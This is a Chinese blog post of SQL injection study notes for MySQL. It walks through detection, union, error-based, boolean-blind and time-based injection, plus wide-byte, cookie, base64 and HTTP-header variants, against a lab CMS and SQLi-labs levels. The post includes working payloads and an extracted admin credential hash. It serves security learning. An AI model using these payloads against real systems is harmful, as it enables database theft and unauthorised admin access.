Sql注入学习笔记

本文深入探讨了SQL注入的概念,以Mysql数据库为例,详细阐述了手工注入测试步骤,包括信息收集、数据获取和提权。介绍了逻辑运算、常用函数和万能密码原理,并展示了如何通过报错注入、布尔盲注和延时注入等方法进行漏洞利用。同时,讨论了SQL注入点的判断、危害以及不同类型的SQL注入分类。最后,提供了实际的注入点识别和测试示例,强调了数据库安全和预防措施的重要性。

Sql注入概述

备注:以Mysql数据库为例

原理:一句话概括含义,攻击者构造的Sql语句通过传参的方式带入到了web后台,并成 功的执行。

关键点:

  1. 参数用户可控
  2. 成功带入到了后台执行

灵活的Sql查询语句 + 用户输入的数据带入了Sql语句 = 用户直接操作数据库 —> Sql注入漏洞


手工注入测试方法

手工简单识别:

  • ’ " )’ )"
  • and 1=1 / and 1=2
  • and ‘1’='1 / and ‘1’='2
  • and 1like 1 / and 1 like 2

工具识别:

  • sqlmap -m filename(filename中保存检测目标)
  • sqlmap --crawl(sqlmap对目标网站进行爬取,然后一次进行测试
  • sqlmap --level 增加测试级别,对header中的相关参数也进行测试
  • sqlmap -r filename(filename中为网站请求数据)

手工注入测试步骤(三个层面)

  1. 信息收集
  2. 数据获取
  3. 提权

信息收集

img

  1. 数据库类型
  • 报错信息
  • 特有语句
  1. 数据库版本
  2. 数据库用户
  3. 判断数据库权限

数据获取

img

  1. 获取库信息
  • 获取当前库
  • 获取所有库
  1. 获取表信息
  2. 获取列信息
  3. 获取数据

提权

img

根据数据库权限

  1. 执行系统命令—>直接提权
  2. 读文件
  • 读取数据库配置文件,尝试远程连接
  • 读取系统配置文件,搜集信息
  1. 写文件—>写Webshell到网站目录

Mysql注入方法逻辑运算及常用函数

常用函数

img

img

运算符

img

img

万能密码原理: 'or ‘1’ = '1

img

查询数据库核心语法

img

查数据库库
SELECT schema_name FROM information_schema.schemata
查询数据表
SELECT table_name FROM information_schema.tables WHERE table_schema=库名
查询列
SELECT column_name FROM information_schema.columns WHERE table_name=表名
查询数据
SELECT 列名 FROM 库名.表名

提示:

  1. 所有类型的sql注入,都是基于查库、表、列语句。
  2. 如果数据太多,导致无法返回查询结果:
  • ​ 查询的场景:可利用limit限定返回的数量及位置,依次查询。
  • 回显数据的场景:concat() 、group_concat()等函数

注入点可能存在的位置

​ 根据SQL 注入漏洞的原理,在用户“可控参数”中注入SQL 语法,也就是说Web 应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL 注入的可能,这些地方通常包括:

​ @ GET 数据

​ @ POST 数据

​ @ HTTP 头部(HTTP 请求报文其他字段)

​ @ Cookie 数据

​ …

漏洞危害

​ 攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。

​ mof|udf

分类

​ SQL 注入漏洞根据不同的标准,有不同的分类。但是从数据类型分类来看,SQL 注入分为数字型和字符型。

​ 数字型注入就是说注入点的数据,拼接到SQL 语句中是以数字型出现的;

​ 字符型注入即数据两边被单引号、双引号包括。

​ 根据注入手法分类,大致可分为以下几个类别。

​ @ UNION query SQL injection(可联合查询注入) 联合查询

​ @ Error-based SQL injection(报错型注入) 报错注入

​ @ Boolean-based blind SQL injection(布尔型注入) 布尔盲注

​ @ Time-based blind SQL injection(基于时间延迟注入) 延时注入

​ @ Stacked queries SQL injection(可多语句查询注入) 堆叠查询

注入流程

​ 由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过SQL 注入漏洞获取数据库中信息时候,也依据这样的顺序:

首先获取数据库名,其次获取表名,然后获取列名,最后获取数据。


SQL 注入点的判断

​ ?id=35 +1/-1

​ select * from tbName where id=$id

​ ?id=35’ 字符型,还是数字型

​ near ‘’’ at line 1

​ select * from tbName where id=35’

​ ?id=35 and 1=1 是否有布尔类型的状态

​ ?id=35 and 1=2

​ select * from tbName where id=35 and 1=1

​ select * from tbName where id=35 and 1=2

​ ?id=35 and sleep(5) 是否有延时

四大基本手法


口诀

是否有回显——>联合查询

是否有报错——>报错注入

是否有布尔类型状态——>布尔盲注

绝招——>延时注入


四大基本手法包括:

​ @ 联合查询

​ @ 报错注入

​ @ 布尔盲注

​ @ 延时注入

注入点?

​ [http://172.16.132.138/cms/show.php?id=33]

注入点的判断

​ 对连接[http://172.16.132.138/cms/show.php?id=33]是否是注入点进行判断。

​ @ 变换id 参数

​ 当我们变换id 参数(33+1|33-1)的时候,发现同一个页面,show.php 页面展现出不同的新闻内容。也就是说,数据库中的内容会回显到网页中来。

​ 初步判定,id 参数会带入数据库查询,根据不同的id 查询数据库,得到不同的新闻内容。

​ 猜测后台执行的SQL 语句大致结构为:

​ select * from tbName where id=33;

​ @ 单引号

​ [?id=33’]

​ 执行的SQL 主语则变为

​ select * from tbName where id=33’;

​ 页面报错,并且报错信息会回显在网页中,报错信息如下

----

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1

----

​ 错误信息提示单引号位置出现错误,那么说明,SQL 语句从头到参数33 都是正确的。也就是说,我们添加的单引号是多余的。

​ 因此,可以断定参数33 前面没有引号。

​ 则,此注入点(可能)为数字型注入。

​ @ [and 1=1 ]

​ [?id=33 and 1=1 --+]

​ 可能得SQL 语句为

​ select * from tbName where id=33 and 1=1 --+

​ 页面正常。

​ @ [and 1=2]

​ [?id=33 and 1=2 --+]

​ 可能得SQL 语句

​ select * from tbName where id=33 and 1=2 --+

​ 页面没有新闻内容,并且数据库没有报错。由于1=2 是恒假式,也就是查询条件[where id=33 and 1=2 --+]恒假,这样的SQL 语句在数据库中执行后,没有返回结果,没有新闻内容。

​ 反过来看,页面没有新闻内容,也就是SQL 语句查询条件为假。也就是说,我们写的语句[and 1=2 --+],起到了将查询条件置为假的作用。

​ 那么,可以通过构造语句来控制SQL 语句的查询结果并且,SQL 语句查询条件真假性,在页面回显中有体现。

​ @ [and sleep(5)]

​ [?id=33 and sleep(5)]

​ 注入sleep(5) 语句,可以通过网络时间线看到延时。

​ 说明sleep(5) 语句起到了作用

​ 综上,此连接存在SQL 注入漏洞。

联合查询

​ 由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。

​ 联合查询就是SQL 语法中的union select 语句。该语句会同时执行两条select 语句,生成两张虚拟表,然后把查询到的结果进行拼接。

​ select ~~~~ union select ~~~~

​ 由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表。

实现 跨库跨表查询

​ 必要条件

​ @ 两张虚拟的表具有相同的列数

​ @ 虚拟表对应的列的数据类型相同

判断字段个数

​ 可以使用[order by] 语句来判断当前select 语句所查询的虚拟表的列数。

​ [order by]语句本意是按照某一列进行排序,在mysql 中可以使用数字来代替具体的列名,比如[order by 1]就是按照第一列进行排序,如果mysql 没有找到对应的列,就会报错[Unknown column]。我们可以依次增加数字,直到数据库报错。

​ [order by 1 --+]

​ [order by 2 --+]

​ …

​ [order by 15 --+]

​ [order by 16]

​ 得到当前虚拟表中字段个数为15。

判断显示位置

​ 得到字段个数之后,可以尝试构造联合查询语句。

​ 这里我们并不知道表名,根据mysql 数据库特性,select 语句在执行的过程中,并不需要指定表名。

​ [?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15–+]

​ [?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null–+]

​ 页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL 语句:

​ [?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]

​ [?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]

​ 在执行SQL 语句的时候,可以考虑用火狐浏览器的插件hackbar。

​ 发现3 和11 会回显到页面中来。

数据库版本

​ 我们可以讲数字3 用函数[version()]代替,即可得到数据库的版本。

​ [?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15 --+]

​ 数据库版本为5.5.53。

当前数据库名

​ [database()]

​ [?id=33 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+]

数据库中的表

​ [?id=33 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+]

​ 数据库报错,考虑用[hex()] 函数将结果由字符串转化成数字。

​ [?id=33 and 1=2 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+]

​ 得到十六进制编码后的字符串

----

636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273

----

​ 十六进制解码

----

cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users

----

​ 管理员帐密有可能保存在cms_users 表中。

表中字段

​ [?id=33 and 1=2 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name=‘cms_users’–+]

----

7573657269642C757365726E616D652C70617373776F7264

----

----

userid,username,password

----

字段内容

​ 查询表中记录数

​ [?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]

​ cms_users 表中只有一条记录。

​ 查询字段内容

​ [?id=33 and 1=2 union select 1,2,hex(concat(username,’:’,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]

----

61646D696E3A6531306164633339343962613539616262653536653035376632306638383365

----

----

admin:e10adc3949ba59abbe56e057f20f883e

----

​ 得到的是后台管理员帐密,但是密码是以密文的方式保存在数据库中的。通过观察密文可知,此密文为MD5 密文。可以在线查询,网址为

​ [https://www.cmd5.com/],可以忽略加密类型。

----

admin:123456

----

​ 通过网站后台登录系统

报错注入

​ 在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以进行报错注入。

​ 报错注入的原理,就是在错误信息中执行SQL 语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。

group by 重复键冲突

​ [?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]

​ [?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]

XPATH 报错

​ @ extractalue()

​ [?id=33 and extractvalue(1,concat(’^’,(select version()),’^’)) --+]

​ @ updatexml()

​ [?id=33 and updatexml(1,concat(’^’,(select database()),’^’),1) --+]

布尔盲注

原理

​ 利用页面返回的布尔类型状态,正常或者不正常。

获取数据库名

​ @ 数据库名长度

​ [?id=33 and length(database())=1 --+]

​ …

​ [?id=33 and length(database())=3 --+]

​ 可以断定,当前数据库名的长度为3。

​ @ 数据库名

​ [?id=33 and ascii(substr(database(),1,1))=99 --+]

​ 由此可知数据库名的第一个字母的ascii 码为99,即是字母c。

延时注入

原理

​ 利用sleep() 语句的延时性,以时间线作为判断条件。

获取数据库名

​ @ 获取数据库名长度

​ [?id=33 and if((length(database())=3),sleep(5),1)–+]

​ @ 数据库名第二位

​ [?id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1)–+]

​ 由此可知,数据库名第二个字母的ASCII 码值为109,即是字母m。

​ where id=’$id’

​ 3’ and sleep(5) or ‘1’='1

宽字节注入

​ 宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。

​ 使用[?id=1’]进行测试的时候,发现提交的单引号会被转移[’]。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。

​ 此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL 语句拼接,最后进行数据库查询。

​ GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。

​ 转移字符[] 的编码是5c,正好在GBK 编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c 组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c ,会被看作GBK 汉字的低位字节编码,从而失去转义的作用。

​ 如果我们提交这样的参数[?id=1000%df’ union select 1,2,3 --+],就可以使用联合查询进行注入了。

0xdf5c 就是一个汉字"運"。

Cookie 注入

使用SQLi-labs 第20 关来说明Cookie 注入问题。

Cookie 注入的注入参数需要通过Cookie 提交,可以通过[document.cookie] 在控制台完成对浏览器Cookie 的读写。

来到less-20,在控制台输入

[document.cookie=“uname=Dumb’ and extractvalue(1,concat(0x7e,database(),0x7e))#”]

刷新页面即可。

base64 注入

以SQLI-labs 第22关来说明base64 注入的问题。

base64 注入也是比较简单的,只不过将注入字段经过base64 编码。经过测试,发现22 关属于Cookie 型的base64 注入。我们可以使用报错注入手法,payload

[document.cookie=“uname=Dumb” and extractvalue(1,concat(0x7e,database(),0x7e))#"]

在控制台输入 [document.cookie=“uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==”]。

刷新网页即可。

HTTP 头部注入

​ http 头部注入就是指注入字段在HTTP 头部的字段中,这些字段通常有User-Agent、Referer 等。

User-Agent 注入

​ 如SQLi-labs 第18 关。

​ payload

​ [User-Agent:hacker’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’='1]

Referer 注入

​ 第19 关,注入字段在Referer 中

​ [hacker’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’='1]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值